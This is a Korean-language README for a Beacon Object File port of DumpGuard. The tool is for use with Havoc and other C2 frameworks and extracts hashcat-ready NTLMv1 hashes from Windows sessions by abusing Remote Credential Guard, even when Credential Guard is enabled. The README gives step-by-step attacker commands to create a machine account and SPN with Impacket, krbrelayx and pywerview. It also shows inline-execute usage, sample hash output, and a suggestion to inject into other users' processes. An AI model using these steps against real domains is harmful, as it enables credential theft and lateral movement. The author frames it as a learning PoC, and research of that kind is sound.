
최신 Windows 시스템의 세션에서 NTLMv1 해시를 추출하는 DumpGuard의 Beacon Object File (BOF) 포트
최신 Windows 시스템에서 세션으로부터 NTLMv1 해시를 추출하는 DumpGuard의 Beacon Object File (BOF) 포트입니다.

이 저장소는 원래 C#/.NET 구현에서 순수 C로 포팅된 DumpGuard의 Beacon Object File (BOF) 구현을 포함하며, Havoc 및 BOF 실행을 지원하는 다른 C2 프레임워크에서 사용할 수 있습니다.
이는 개념 증명(PoC)이자 학습 연습입니다.
이 BOF 포트는 원격 자격 증명 가드(Remote Credential Guard) 프로토콜, Kerberos 인증 흐름 및 기본 Windows 보안 메커니즘의 세부 사항을 이해하기 위한 개인적인 학습 과정의 일부로 만들어졌습니다. 이 도구를 C#에서 순수 C로 포팅하여 BOF로 실행하는 과정은 주로 교육적인 목적이었습니다.
다음 사항에 유의하십시오:
문제를 발견하거나 개선 사항이 있다면 기여를 환영합니다. 견고하고 잘 테스트된 구현을 위해서는 원본 DumpGuard 도구를 참조하십시오.
이 BOF는 SpecterOps의 @bytewreck의 연구 및 도구를 기반으로 합니다:
DumpGuard는 Windows 원격 자격 증명 가드(RCG)를 이용하여 로그인한 사용자로부터 LSASS 메모리를 건드리지 않고 관리자 권한 없이 NTLMv1 해시를 추출합니다. Credential Guard가 활성화된 경우에도 작동합니다.
TSRemoteGuardCreds로 래핑된 형태로 수신합니다.| Round | Client -> Server | Server -> Client |
|---|---|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (실제 KDC로부터) |
| 2 | AP-REQ (서비스 티켓) | AP-REP + MIC |
| 3 | PubKeyAuth (바인딩 해시) | 서버 바인딩 해시 |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |
4라운드 이후, 암호화된 자격 증명 Blob을 얻습니다. TSSSP 패키지로 LsaCallAuthenticationPackage를 호출할 때 마법이 일어납니다. LSA는 RDPEAR -> TSRemoteGuard -> MSV1_0을 통해 요청을 라우팅하여 비밀을 해독하고 NTLMv1 응답을 계산합니다.
Credential Guard는 NTLM 및 Kerberos 비밀을 안전한 VBS 공간(LsaIso.exe)에 격리하여 Mimikatz와 같은 직접 메모리 액세스 공격을 방지합니다. 그러나 Credential Guard는 여전히 합법적인 인증을 위해 이러한 비밀을 사용해야 합니다. 이 기술이 바로 그 인터페이스를 악용합니다.
전체 기술 심층 분석은 다음을 참조하십시오: Catching Credential Guard Off Guard
이 BOF 포트는 원본 DumpGuard 도구의 "Self" 모드만 구현합니다. "All" 모드는 이 버전에서 구현되지 않았습니다.
원격 자격 증명 가드 프로토콜을 통해 현재 프로세스 사용자의 NTLMv1 해시를 덤프합니다.
이 BOF는 "self" 모드만 구현하지만, 예를 들어 해당 사용자로 실행 중인 프로세스에 주입하여 다른 사용자의 NTLMv1 해시를 추출할 수 있습니다. 예를 들어, 관리자 권한이 있는 경우 BOF를 다른 로그인 사용자가 소유한 프로세스에 주입하여 해당 해시를 얻을 수 있습니다.
이 기술을 사용하려면 SPN(서비스 사용자 이름)이 등록된 계정의 자격 증명이 필요합니다. 이를 위한 한 가지 방법은 컴퓨터 계정을 만들고 SPN을 추가하는 것입니다.
Impacket 사용:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
출력 예시:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
krbrelayx의 addspn.py 사용:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
pywerview 사용:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
출력에서 serviceprincipalname: host/yourspn.domain.local을 찾으십시오.
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
참고:
x매개변수는 도메인 앞에 필요한 자리 표시자/더미 인수입니다. 이는 향후 버전(있는 경우)에서 해결될 수 있습니다.
예시:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
출력 예시:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
중요: 추출된 NTLMv1 해시는 BOF 프로세스를 실행 중인 사용자에게 속하며, 인증에 사용된 컴퓨터 계정(
EVIL_COMPUTER$)이 아닙니다. 컴퓨터 계정 자격 증명은 KDC에 인증하고 원격 자격 증명 가드 세션을 설정하는 데만 사용됩니다.
출력은 hashcat 호환 NTLMv1 형식입니다:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
출력: build/dumpguard.x64.o
BSD 3-Clause 라이선스
원본 DumpGuard 도구는 BSD 3-Clause 라이선스에 따라 라이선스가 부여되며, 저작권 (c) 2025 Valdemar Carøe입니다. 이 BOF 포트는 동일한 라이선스 조건을 유지합니다.
질문, 버그 신고 또는 기여는 GitHub에 이슈를 열어 주십시오.